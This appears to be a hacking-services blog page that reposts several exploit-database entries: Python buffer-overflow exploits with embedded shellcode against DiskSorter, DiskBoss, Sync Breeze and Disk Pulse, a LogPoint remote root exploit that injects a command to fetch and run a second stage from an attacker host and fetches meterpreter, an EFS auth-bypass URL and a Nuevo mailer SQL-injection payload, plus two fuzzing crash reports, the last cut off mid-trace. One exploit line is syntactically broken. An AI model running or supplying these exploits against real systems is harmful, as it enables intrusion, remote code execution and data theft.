Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863534404

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/python

###############################################################################
# Exploit Title: DiskSorter v9.7.14 - Local Buffer Overflow
# Date: 10-06-2017
# Exploit Author: abatchy17 -- @abatchy17
# Vulnerable Software: DiskSorter v9.7.14
# Vendor Homepage:    http://www.disksorter.com/    
# Version: 9.7.14
# Software Link:      http://www.disksorter.com/setups/disksorter_setup_v9.7.14.exe
# Tested On: Windows XP SP3
#
# To trigger the exploit, paste the content of exploit.txt into "Add Input Directory" text box
#
# Credit to n3ckD_ for discovering the DoS exploit
#
# Challenges to convert this DoS to code execution:
#   1. Program doesn't accept non ASCII characters (0x01 to 0xff are okay-ish)
#   2. Buffer at ESP splits string if it contains a "\", this is bad since POP ESP is 0x5c
#   3. Had to write custom shellcode to get the exact location of alphanumeric shellcode in memory
#
#               +----------------------------------+
#               |1 custom shellcode == 1 dead llama|
#               +----------------------------------+
#
##############################################################################

a = open("exploit.txt", "w")

# Message=  0x651f214e : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [QtGui4.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False

badchars = "\x0a\x0d\x2f"

# msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe -e x86/alpha_mixed BufferRegister=EAX -f python -b "\x0a\x0d\x2f"
buf =  ""
buf += "\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
buf += "\x6b\x4c\x5a\x48\x4f\x72\x57\x70\x75\x50\x43\x30\x43"
buf += "\x50\x4b\x39\x4d\x35\x44\x71\x79\x50\x63\x54\x6e\x6b"
buf += "\x62\x70\x76\x50\x6e\x6b\x42\x72\x46\x6c\x6e\x6b\x63"
buf += "\x62\x62\x34\x6c\x4b\x43\x42\x76\x48\x36\x6f\x68\x37"
buf += "\x73\x7a\x46\x46\x74\x71\x49\x6f\x4e\x4c\x57\x4c\x55"
buf += "\x31\x51\x6c\x35\x52\x46\x4c\x51\x30\x6a\x61\x6a\x6f"
buf += "\x64\x4d\x67\x71\x6b\x77\x79\x72\x68\x72\x70\x52\x70"
buf += "\x57\x6c\x4b\x53\x62\x36\x70\x6c\x4b\x52\x6a\x67\x4c"
buf += "\x4c\x4b\x50\x4c\x62\x31\x42\x58\x79\x73\x32\x68\x37"
buf += "\x71\x4a\x71\x73\x61\x4e\x6b\x63\x69\x31\x30\x35\x51"
buf += "\x69\x43\x4c\x4b\x50\x49\x64\x58\x58\x63\x46\x5a\x32"
buf += "\x69\x6e\x6b\x36\x54\x4e\x6b\x57\x71\x38\x56\x65\x61"
buf += "\x49\x6f\x6e\x4c\x69\x51\x7a\x6f\x66\x6d\x46\x61\x69"
buf += "\x57\x70\x38\x39\x70\x33\x45\x39\x66\x35\x53\x31\x6d"
buf += "\x68\x78\x75\x6b\x73\x4d\x71\x34\x70\x75\x38\x64\x33"
buf += "\x68\x4e\x6b\x32\x78\x51\x34\x65\x51\x39\x43\x31\x76"
buf += "\x4c\x4b\x64\x4c\x32\x6b\x6e\x6b\x62\x78\x65\x4c\x47"
buf += "\x71\x59\x43\x4c\x4b\x44\x44\x4c\x4b\x56\x61\x38\x50"
buf += "\x6f\x79\x52\x64\x54\x64\x34\x64\x63\x6b\x73\x6b\x50"
buf += "\x61\x50\x59\x71\x4a\x56\x31\x59\x6f\x59\x70\x33\x6f"
buf += "\x53\x6f\x71\x4a\x4c\x4b\x44\x52\x68\x6b\x6e\x6d\x53"
buf += "\x6d\x62\x4a\x56\x61\x4c\x4d\x6b\x35\x6d\x62\x75\x50"
buf += "\x45\x50\x75\x50\x32\x70\x32\x48\x76\x51\x4e\x6b\x30"
buf += "\x6f\x6f\x77\x39\x6f\x4e\x35\x4d\x6b\x58\x70\x4d\x65"
buf += "\x4e\x42\x53\x66\x62\x48\x6d\x76\x4a\x35\x6d\x6d\x4d"
buf += "\x4d\x69\x6f\x79\x45\x57\x4c\x46\x66\x53\x4c\x56\x6a"
buf += "\x6f\x70\x49\x6b\x6d\x30\x33\x45\x33\x35\x4d\x6b\x50"
buf += "\x47\x37\x63\x74\x32\x52\x4f\x53\x5a\x43\x30\x53\x63"
buf += "\x49\x6f\x38\x55\x52\x43\x63\x51\x50\x6c\x65\x33\x54"
buf += "\x6e\x62\x45\x54\x38\x62\x45\x55\x50\x41\x41"

jmpebp = "\x1f\x54\x1c\x65" # Why JMP EBP? Buffer at ESP is split, bad!

llamaleftovers = (
    "\x55"  # push EBP
    "\x58"  # pop EAX
    "\x05\x55\x55\x55\x55"  # add EAX, 0x55555555
    "\x05\x55\x55\x55\x55"  # add EAX, 0x55555555
    "\x05\x56\x56\x55\x55"  # add EAX, 0x55555656 -> EAX = EBP + 209
    "\x40"  # inc EAX, shellcode generated should start exactly here (EBP + 210) as we're using the x86/alpha_mixed with BufferRegister to get a purely alphanumeric shellcode
    )

junk = "\x55" + + "\x53\x5b" * 105

data = "A"*4096 + jmpebp + "\x40\x48" * 20 + llamaleftovers + junk + buf

a.write(data)
a.close()
HireHackking 
# Exploit Title: Unauthenticated remote root code execution on logpoint < 5.6.4
# Date: 11/06/17
# Exploit Author: agix
# Vendor Homepage: https://www.logpoint.com
# Version: logpoint < 5.6.4
# Tested on: 5.6.2

# Vendor contact 19/04
# Exploit details sent to the vendor 24/04
# Patch in test mode 05/05
# Patch release to public 08/05


# run python -m SimpleHTTPServer to serve second stage of the exploit in a file named e
# to get root code execution this is the second stage e
# wget http://YOUR_WEB_SERVER:8000/meterpreter -O /tmp/met && chmod 755 /tmp/met && sudo /opt/immune/installed/system/root_actions/create_symlink.sh /tmp/met /opt/immune/installed/system/root_actions/met ; sudo /opt/immune/installed/system/root_actions/met
# it downloads a third stage executed as root

import time
import zmq
import sys
import json
import random
import string
import base64

ATTACKER_IP = '172.16.171.1'
LOGPOINT_IP = '172.16.171.204'

def crash():
    context = zmq.Context()
    sock = context.socket(zmq.DEALER)
    sock.connect("tcp://%s:5504"%LOGPOINT_IP)
    sock.send('crash')

crash()
time.sleep(1)

context = zmq.Context()

sock2 = context.socket(zmq.DEALER)
sock2.connect("tcp://%s:5504"%LOGPOINT_IP)

name = ''.join(random.choice(string.ascii_uppercase) for _ in range(6))

cmd1 = base64.b64encode('wget http://%s:8000/e -O /tmp/e'%ATTACKER_IP)
cmd2 = base64.b64encode('cat /tmp/e')

exploit = '%s"; $(echo -n %s | base64 -d) && $(echo -n %s | base64 -d) | bash ; echo "test'%(name, cmd1, cmd2)

tosend = json.dumps({"request_id": name, "query": "high_availability", "query_info": {"store_front_port": 5500, "action": "add", "ip": ATTACKER_IP, "days": 12, "repo_name": name, "identifier": exploit}})
print tosend
sock2.send(tosend)
print sock2.recv()

time.sleep(30)

# cleaning
tosend = json.dumps({"request_id": name+"-1", "query": "high_availability", "query_info": {"store_front_port": 5500, "action": "delete", "ip": ATTACKER_IP, "days": 12, "repo_name": name, "identifier": exploit}})
print tosend
sock2.send(tosend)
print sock2.recv()
HireHackking 
# Exploit Title: EFS Web Server 7.2 Authentication Bypass
# Date: 11-06-2017
# Software Link: http://www.sharing-file.com/efssetup.exe
# Software Version : 7.2
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/


######## Description ########
<!--
    What is Easy File Sharing Web Server 7.2 ?
    Easy File Sharing Web Server is a file sharing software that allows
visitors to upload/download files easily through a Web Browser. It can help
you share files with your friends and colleagues. They can download files
from your computer or upload files from theirs.They will not be required to
install this software or any other software because an internet browser is
enough. Easy File Sharing Web Server also provides a Bulletin Board System
(Forum). It allows remote users to post messages and files to the forum.
The Secure Edition adds support for SSL encryption that helps protect
businesses against site spoofing and data corruption.
-->

######## Video PoC and Article ########

https://www.youtube.com/watch?v=XlTH7Fm1m1w
http://touhidshaikh.com/blog/poc/EFSwebservr-authbypass/



######## Attact Description  ########
<!--

 Note: No Need to Login...bcz this is auth bypass vulnerability .hehehe.

==>START<==
Any visitor..

We can Bypass the Login Screen by just Change the URL and Browse the
Drives.
bingoo...
-->

######## Proof of Concept ########

When we visit the EFS web server its prompt for login, now attacker just
change url to below.
Exploit....

http://192.168.1.14/disk_c/

in this case change drvie by just change /disk_c to /disk_<Drive latter>
example. /disk_d , /disk_f etc

=============================================
NOTE :: ::
Now We have Permission to View Drives and Folder and Download Files. in
Diffrent Drives or folder.
============================================

 _____ ___  _   _ _   _ ___ ____
|_   _/ _ \| | | | | | |_ _|  _ \
  | || | | | | | | |_| || || | | |
  | || |_| | |_| |  _  || || |_| |
  |_| \___/ \___/|_| |_|___|____/

Touhid Shaikh.......
HireHackking 
#!/usr/bin/python

###############################################################################
# Exploit Title:  DiskBoss v8.0.16 - Local Buffer Overflow
# Date: 11-06-2017
# Exploit Author: @abatchy17 -- www.abatchy.com
# Vulnerable Software: DiskBoss v8.0.16 (Freeware, Pro and Ultimate)
# Vendor Homepage:    http://www.disksorter.com/    
# Version: 8.0.16
# Software Link:      http://www.diskboss.com/downloads.html (Freeware, Pro and Ultimate)
# Tested On: Windows XP SP3 (x86), Win7 SP1 (x86)
#
# To trigger the exploit, click "Search" -> second (+) sign -> "Add Input Directory" and paste the content of exploit.txt
#
# Only difference between this one and 42157 is that EBX is used
#
#  Note: No typos!!11!
#
##############################################################################

a = open("exploit.txt", "w")

# Message=  0x65182c15 : jmp ebx | asciiprint,ascii {PAGE_EXECUTE_READ} [QtGui4.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v4.3.4.0 (C:\Program Files\DiskBoss\bin\QtGui4.dll)
jmpebx = "\x15\x2c\x18\x65" # Why JMP EBX? Buffer at ESP is split, bad!

badchars = "\x0a\x0d\x2f"

# msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe -e x86/alpha_mixed BufferRegister=EAX -f python -b "\x0a\x0d\x2f"
buf =  ""
buf += "\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
buf += "\x6b\x4c\x5a\x48\x4f\x72\x57\x70\x75\x50\x43\x30\x43"
buf += "\x50\x4b\x39\x4d\x35\x44\x71\x79\x50\x63\x54\x6e\x6b"
buf += "\x62\x70\x76\x50\x6e\x6b\x42\x72\x46\x6c\x6e\x6b\x63"
buf += "\x62\x62\x34\x6c\x4b\x43\x42\x76\x48\x36\x6f\x68\x37"
buf += "\x73\x7a\x46\x46\x74\x71\x49\x6f\x4e\x4c\x57\x4c\x55"
buf += "\x31\x51\x6c\x35\x52\x46\x4c\x51\x30\x6a\x61\x6a\x6f"
buf += "\x64\x4d\x67\x71\x6b\x77\x79\x72\x68\x72\x70\x52\x70"
buf += "\x57\x6c\x4b\x53\x62\x36\x70\x6c\x4b\x52\x6a\x67\x4c"
buf += "\x4c\x4b\x50\x4c\x62\x31\x42\x58\x79\x73\x32\x68\x37"
buf += "\x71\x4a\x71\x73\x61\x4e\x6b\x63\x69\x31\x30\x35\x51"
buf += "\x69\x43\x4c\x4b\x50\x49\x64\x58\x58\x63\x46\x5a\x32"
buf += "\x69\x6e\x6b\x36\x54\x4e\x6b\x57\x71\x38\x56\x65\x61"
buf += "\x49\x6f\x6e\x4c\x69\x51\x7a\x6f\x66\x6d\x46\x61\x69"
buf += "\x57\x70\x38\x39\x70\x33\x45\x39\x66\x35\x53\x31\x6d"
buf += "\x68\x78\x75\x6b\x73\x4d\x71\x34\x70\x75\x38\x64\x33"
buf += "\x68\x4e\x6b\x32\x78\x51\x34\x65\x51\x39\x43\x31\x76"
buf += "\x4c\x4b\x64\x4c\x32\x6b\x6e\x6b\x62\x78\x65\x4c\x47"
buf += "\x71\x59\x43\x4c\x4b\x44\x44\x4c\x4b\x56\x61\x38\x50"
buf += "\x6f\x79\x52\x64\x54\x64\x34\x64\x63\x6b\x73\x6b\x50"
buf += "\x61\x50\x59\x71\x4a\x56\x31\x59\x6f\x59\x70\x33\x6f"
buf += "\x53\x6f\x71\x4a\x4c\x4b\x44\x52\x68\x6b\x6e\x6d\x53"
buf += "\x6d\x62\x4a\x56\x61\x4c\x4d\x6b\x35\x6d\x62\x75\x50"
buf += "\x45\x50\x75\x50\x32\x70\x32\x48\x76\x51\x4e\x6b\x30"
buf += "\x6f\x6f\x77\x39\x6f\x4e\x35\x4d\x6b\x58\x70\x4d\x65"
buf += "\x4e\x42\x53\x66\x62\x48\x6d\x76\x4a\x35\x6d\x6d\x4d"
buf += "\x4d\x69\x6f\x79\x45\x57\x4c\x46\x66\x53\x4c\x56\x6a"
buf += "\x6f\x70\x49\x6b\x6d\x30\x33\x45\x33\x35\x4d\x6b\x50"
buf += "\x47\x37\x63\x74\x32\x52\x4f\x53\x5a\x43\x30\x53\x63"
buf += "\x49\x6f\x38\x55\x52\x43\x63\x51\x50\x6c\x65\x33\x54"
buf += "\x6e\x62\x45\x54\x38\x62\x45\x55\x50\x41\x41"

llamaleftovers = (
    "\x53"  # push EBX
    "\x58"  # pop EAX
    "\x05\x55\x55\x55\x55"  # add EAX, 0x55555555
    "\x05\x55\x55\x55\x55"  # add EAX, 0x55555555
    "\x05\x56\x56\x55\x55"  # add EAX, 0x55555656 -> EAX = EBX + 233, shellcode generated should start exactly at EAX as we're using the x86/alpha_mixed with BufferRegister to get a purely alphanumeric shellcode
    )

junk = "\x53\x5b" * 119 + "\x53"

data = "A"*4096 + jmpebx + "C"*16 + jmpebx + "C"*(5296 - 4096 - 4 - 16 - 4) + llamaleftovers + junk + buf

a.write(data)
a.close()
HireHackking 
Source: https://bugzilla.gnome.org/show_bug.cgi?id=775120

The attached file will cause a null pointer access and segfault in the mpegts parser. Current git code, found with afl.

ASAN stack trace:
=================================================================
==32545==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fe957185495 bp 0x60200002cf7a sp 0x7fe956e027a0 T2)
==32545==The signal is caused by a WRITE memory access.
==32545==Hint: address points to the zero page.
    #0 0x7fe957185494 in _parse_pat /f/gstreamer/gst-plugins-bad/gst-libs/gst/mpegts/gstmpegtssection.c:441:32
    #1 0x7fe957184058 in __common_section_checks /f/gstreamer/gst-plugins-bad/gst-libs/gst/mpegts/gstmpegtssection.c:166:9
    #2 0x7fe95718522f in gst_mpegts_section_get_pat /f/gstreamer/gst-plugins-bad/gst-libs/gst/mpegts/gstmpegtssection.c:480:9
    #3 0x7fe957438b9a in mpegts_base_apply_pat /f/gstreamer/gst-plugins-bad/gst/mpegtsdemux/mpegtsbase.c:942:20
    #4 0x7fe957438b9a in mpegts_base_handle_psi /f/gstreamer/gst-plugins-bad/gst/mpegtsdemux/mpegtsbase.c:1155
    #5 0x7fe957437cd1 in mpegts_base_chain /f/gstreamer/gst-plugins-bad/gst/mpegtsdemux/mpegtsbase.c:1424:11
    #6 0x7fe9574341e7 in mpegts_base_loop /f/gstreamer/gst-plugins-bad/gst/mpegtsdemux/mpegtsbase.c:1589:13
    #7 0x7fe9644305c3 in gst_task_func /f/gstreamer/gstreamer/gst/gsttask.c:334:5
    #8 0x7fe96362f867  (/usr/lib64/libglib-2.0.so.0+0x70867)
    #9 0x7fe96362eed4  (/usr/lib64/libglib-2.0.so.0+0x6fed4)
    #10 0x7fe9630ac443 in start_thread (/lib64/libpthread.so.0+0x7443)
    #11 0x7fe962bdb92c in clone (/lib64/libc.so.6+0xe792c)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /f/gstreamer/gst-plugins-bad/gst-libs/gst/mpegts/gstmpegtssection.c:441:32 in _parse_pat
Thread T2 (tsdemux0:sink) created by T1 (typefind:sink) here:
    #0 0x42e26d in __interceptor_pthread_create (/usr/bin/gst-discoverer-1.0+0x42e26d)
    #1 0x7fe96364cadf  (/usr/lib64/libglib-2.0.so.0+0x8dadf)

Thread T1 (typefind:sink) created by T0 here:
    #0 0x42e26d in __interceptor_pthread_create (/usr/bin/gst-discoverer-1.0+0x42e26d)
    #1 0x7fe96364cadf  (/usr/lib64/libglib-2.0.so.0+0x8dadf)

==32545==ABORTING


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42162.zip
HireHackking 
#!/usr/bin/python

###############################################################################
# Exploit Title:        Sync Breeze v9.7.26 - Local Buffer Overflow
# Date:                 11-06-2017
# Exploit Author:       @abatchy17 -- www.abatchy.com
# Vulnerable Software:  Sync Breeze v9.7.26 (Freeware, Pro and Ultimate)
# Vendor Homepage:      http://www.syncbreeze.com   
# Version:              9.7.26
# Software Link:        http://www.syncbreeze.com/downloads.html (Freeware, Pro and Ultimate)
# Tested On:            Windows XP SP3 (x86), Win7 SP1 (x86)
#
# To trigger the exploit:
#   1. click "Add"
#   2. enter any command name
#   3. On new window, scroll down to "Exclude"
#   4. Click "Add Exclude Directory"
#   4. Paste text in exploit.txt into "Directory" field
#
##############################################################################

a = open("exploit.txt", "w")

# Message=  0x651f214e : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [QtGui4.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v4.3.4.0 (C:\Program Files\Sync Breeze\bin\QtGui4.dll)
jmpesp = "\x4e\x21\x1f\x65"

badchars = "\x0a\x0d" # And 0x80 to 0xff

# msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe -e x86/alpha_mixed BufferRegister=EAX -f python -b "\x0a\x0d"
buf =  ""
buf += "\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
buf += "\x6b\x4c\x5a\x48\x4f\x72\x57\x70\x75\x50\x43\x30\x43"
buf += "\x50\x4b\x39\x4d\x35\x44\x71\x79\x50\x63\x54\x6e\x6b"
buf += "\x62\x70\x76\x50\x6e\x6b\x42\x72\x46\x6c\x6e\x6b\x63"
buf += "\x62\x62\x34\x6c\x4b\x43\x42\x76\x48\x36\x6f\x68\x37"
buf += "\x73\x7a\x46\x46\x74\x71\x49\x6f\x4e\x4c\x57\x4c\x55"
buf += "\x31\x51\x6c\x35\x52\x46\x4c\x51\x30\x6a\x61\x6a\x6f"
buf += "\x64\x4d\x67\x71\x6b\x77\x79\x72\x68\x72\x70\x52\x70"
buf += "\x57\x6c\x4b\x53\x62\x36\x70\x6c\x4b\x52\x6a\x67\x4c"
buf += "\x4c\x4b\x50\x4c\x62\x31\x42\x58\x79\x73\x32\x68\x37"
buf += "\x71\x4a\x71\x73\x61\x4e\x6b\x63\x69\x31\x30\x35\x51"
buf += "\x69\x43\x4c\x4b\x50\x49\x64\x58\x58\x63\x46\x5a\x32"
buf += "\x69\x6e\x6b\x36\x54\x4e\x6b\x57\x71\x38\x56\x65\x61"
buf += "\x49\x6f\x6e\x4c\x69\x51\x7a\x6f\x66\x6d\x46\x61\x69"
buf += "\x57\x70\x38\x39\x70\x33\x45\x39\x66\x35\x53\x31\x6d"
buf += "\x68\x78\x75\x6b\x73\x4d\x71\x34\x70\x75\x38\x64\x33"
buf += "\x68\x4e\x6b\x32\x78\x51\x34\x65\x51\x39\x43\x31\x76"
buf += "\x4c\x4b\x64\x4c\x32\x6b\x6e\x6b\x62\x78\x65\x4c\x47"
buf += "\x71\x59\x43\x4c\x4b\x44\x44\x4c\x4b\x56\x61\x38\x50"
buf += "\x6f\x79\x52\x64\x54\x64\x34\x64\x63\x6b\x73\x6b\x50"
buf += "\x61\x50\x59\x71\x4a\x56\x31\x59\x6f\x59\x70\x33\x6f"
buf += "\x53\x6f\x71\x4a\x4c\x4b\x44\x52\x68\x6b\x6e\x6d\x53"
buf += "\x6d\x62\x4a\x56\x61\x4c\x4d\x6b\x35\x6d\x62\x75\x50"
buf += "\x45\x50\x75\x50\x32\x70\x32\x48\x76\x51\x4e\x6b\x30"
buf += "\x6f\x6f\x77\x39\x6f\x4e\x35\x4d\x6b\x58\x70\x4d\x65"
buf += "\x4e\x42\x53\x66\x62\x48\x6d\x76\x4a\x35\x6d\x6d\x4d"
buf += "\x4d\x69\x6f\x79\x45\x57\x4c\x46\x66\x53\x4c\x56\x6a"
buf += "\x6f\x70\x49\x6b\x6d\x30\x33\x45\x33\x35\x4d\x6b\x50"
buf += "\x47\x37\x63\x74\x32\x52\x4f\x53\x5a\x43\x30\x53\x63"
buf += "\x49\x6f\x38\x55\x52\x43\x63\x51\x50\x6c\x65\x33\x54"
buf += "\x6e\x62\x45\x54\x38\x62\x45\x55\x50\x41\x41"

junk = "C" * (239)

llamaleftovers = (
    "\x54"  # push ESP
    "\x58"  # pop EAX
    "\x05\x55\x55\x55\x55"  # add EAX, 0x55555555
    "\x05\x55\x55\x55\x55"  # add EAX, 0x55555555
    "\x05\x56\x56\x55\x55"  # add EAX, 0x55555656 -> EAX = old ESP + 0x100, shellcode generated should start exactly here as we're using the x86/alpha_mixed with BufferRegister to get a purely alphanumeric shellcode
    )

data = "A"*4108 + jmpesp + llamaleftovers + junk + buf

a.write(data)
a.close()
HireHackking 
#!/usr/bin/python

###############################################################################
# Exploit Title:        Disk Pulse v9.7.26 - Add Directory Local Buffer Overflow
# Date:                 12-06-2017
# Exploit Author:       abatchy17 -- @abatchy17
# Vulnerable Software:  Disk Pulse v9.7.26 (Freeware, Pro, Ultimate)
# Vendor Homepage:      http://www.diskpulse.com/  
# Version:              9.7.14
# Software Link:        http://www.diskpulse.com/downloads.html (Freeware, Pro, Ultimate)
# Tested On:            Windows XP SP3 (x86), Win7 SP1 (x86)
#
# To trigger the exploit:
#   1. Under Directories, click the plus sign
#   2. Paste content of exploit.txt in Add Directory textbox.
#
#       <--- Marry and reproduce --->
#
##############################################################################

a = open("exploit.txt", "w")

badchars = "\x0a\x0d\x2f"

# msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe -e x86/alpha_mixed BufferRegister=EAX -f python -b "\x0a\x0d\x2f"
buf =  ""
buf += "\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
buf += "\x6b\x4c\x5a\x48\x4f\x72\x57\x70\x75\x50\x43\x30\x43"
buf += "\x50\x4b\x39\x4d\x35\x44\x71\x79\x50\x63\x54\x6e\x6b"
buf += "\x62\x70\x76\x50\x6e\x6b\x42\x72\x46\x6c\x6e\x6b\x63"
buf += "\x62\x62\x34\x6c\x4b\x43\x42\x76\x48\x36\x6f\x68\x37"
buf += "\x73\x7a\x46\x46\x74\x71\x49\x6f\x4e\x4c\x57\x4c\x55"
buf += "\x31\x51\x6c\x35\x52\x46\x4c\x51\x30\x6a\x61\x6a\x6f"
buf += "\x64\x4d\x67\x71\x6b\x77\x79\x72\x68\x72\x70\x52\x70"
buf += "\x57\x6c\x4b\x53\x62\x36\x70\x6c\x4b\x52\x6a\x67\x4c"
buf += "\x4c\x4b\x50\x4c\x62\x31\x42\x58\x79\x73\x32\x68\x37"
buf += "\x71\x4a\x71\x73\x61\x4e\x6b\x63\x69\x31\x30\x35\x51"
buf += "\x69\x43\x4c\x4b\x50\x49\x64\x58\x58\x63\x46\x5a\x32"
buf += "\x69\x6e\x6b\x36\x54\x4e\x6b\x57\x71\x38\x56\x65\x61"
buf += "\x49\x6f\x6e\x4c\x69\x51\x7a\x6f\x66\x6d\x46\x61\x69"
buf += "\x57\x70\x38\x39\x70\x33\x45\x39\x66\x35\x53\x31\x6d"
buf += "\x68\x78\x75\x6b\x73\x4d\x71\x34\x70\x75\x38\x64\x33"
buf += "\x68\x4e\x6b\x32\x78\x51\x34\x65\x51\x39\x43\x31\x76"
buf += "\x4c\x4b\x64\x4c\x32\x6b\x6e\x6b\x62\x78\x65\x4c\x47"
buf += "\x71\x59\x43\x4c\x4b\x44\x44\x4c\x4b\x56\x61\x38\x50"
buf += "\x6f\x79\x52\x64\x54\x64\x34\x64\x63\x6b\x73\x6b\x50"
buf += "\x61\x50\x59\x71\x4a\x56\x31\x59\x6f\x59\x70\x33\x6f"
buf += "\x53\x6f\x71\x4a\x4c\x4b\x44\x52\x68\x6b\x6e\x6d\x53"
buf += "\x6d\x62\x4a\x56\x61\x4c\x4d\x6b\x35\x6d\x62\x75\x50"
buf += "\x45\x50\x75\x50\x32\x70\x32\x48\x76\x51\x4e\x6b\x30"
buf += "\x6f\x6f\x77\x39\x6f\x4e\x35\x4d\x6b\x58\x70\x4d\x65"
buf += "\x4e\x42\x53\x66\x62\x48\x6d\x76\x4a\x35\x6d\x6d\x4d"
buf += "\x4d\x69\x6f\x79\x45\x57\x4c\x46\x66\x53\x4c\x56\x6a"
buf += "\x6f\x70\x49\x6b\x6d\x30\x33\x45\x33\x35\x4d\x6b\x50"
buf += "\x47\x37\x63\x74\x32\x52\x4f\x53\x5a\x43\x30\x53\x63"
buf += "\x49\x6f\x38\x55\x52\x43\x63\x51\x50\x6c\x65\x33\x54"
buf += "\x6e\x62\x45\x54\x38\x62\x45\x55\x50\x41\x41"

# 0x651c541f : jmp ebp | asciiprint,ascii {PAGE_EXECUTE_READ} [QtGui4.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v4.3.4.0 (C:\Program Files\Disk Pulse\bin\QtGui4.dll)

jmpebp = "\x1f\x54\x1c\x65" # Why JMP EBP? Buffer at ESP is split, bad! Example: EBP: AAA\BBB, ESP -> AAA (without the \BBB part)

llamaleftovers = (
    "\x55"  # push EBP
    "\x58"  # pop EAX
    "\x05\x55\x55\x55\x55"  # add EAX, 0x55555555
    "\x05\x55\x55\x55\x55"  # add EAX, 0x55555555
    "\x05\x56\x56\x55\x55"  # add EAX, 0x55555656 -> EAX = EBP + 0x200
    "\x40"  # inc EAX, shellcode generated should start exactly here (EBP + 0x201) as we're using the x86/alpha_mixed with BufferRegister to get a purely alphanumeric shellcode
    )

junk = "\x55" + "\x53\x5b" * 107

data = "A"*4096 + jmpebp + "\x40\x48" * 20 + llamaleftovers + junk + buf

a.write(data)
a.close()
HireHackking 
# Exploit Title: Nuevo mailer version <= 6.0 SQL Injection
# Exploit Author: ALEH BOITSAU
# Google Dork: inurl:/inc/rdr.php?
# Date:  2017-06-09
# Vendor Homepage:  https://www.nuevomailer.com/
# Version: 6.0 and below
# Tested on: Linux

Vulnerable script: rdr.php
Vulnerable parameter: r

PoC:
https://vulnerable_site.com/inc/rdr.php?r=69387c602c1056c556%20and%20sleep(10)--+

NB: vendor has been notified.
HireHackking 
Source: https://sourceware.org/bugzilla/show_bug.cgi?id=21580

I have been fuzzing objdump with American Fuzzy Lop and AddressSanitizer.

Please find attached the minimized file causing the issue ("Input") and the
ASAN report log ("Output"). Below is the reduced stacktrace with links to the
corresponding source lines on a GitHub mirror.

The command I used was `objdump -D <file>`.

Let me know if there is any additional information I can provide.

--

Input: 37a2b1374545eb23eed0eea880de6226.ad5cda09828cea9d238db2184e95406b.min
Output: 37a2b1374545eb23eed0eea880de6226.ad5cda09828cea9d238db2184e95406b.txt

Error in "disassemble_bytes": heap-buffer-overflow
  in disassemble_bytes at binutils/objdump.c:1993
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L1993)
  in disassemble_section at binutils/objdump.c:2309
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L2309)
  in bfd_map_over_sections at bfd/section.c:1395
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/section.c#L1395)
  in disassemble_data at binutils/objdump.c:2445
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L2445)
  in dump_bfd at binutils/objdump.c:3547
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3547)
  in display_file at binutils/objdump.c:3714
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3714)
  in main at binutils/objdump.c:4016
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L4016)

Input: 77125fccb44694b0db18006db1f0f4d3.64e76dd7ab33d15c8293caeca73c704a.min
Output: 77125fccb44694b0db18006db1f0f4d3.64e76dd7ab33d15c8293caeca73c704a.txt

Error in "disassemble_bytes": heap-buffer-overflow
  in disassemble_bytes at binutils/objdump.c:1932
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L1932)
  in disassemble_section at binutils/objdump.c:2309
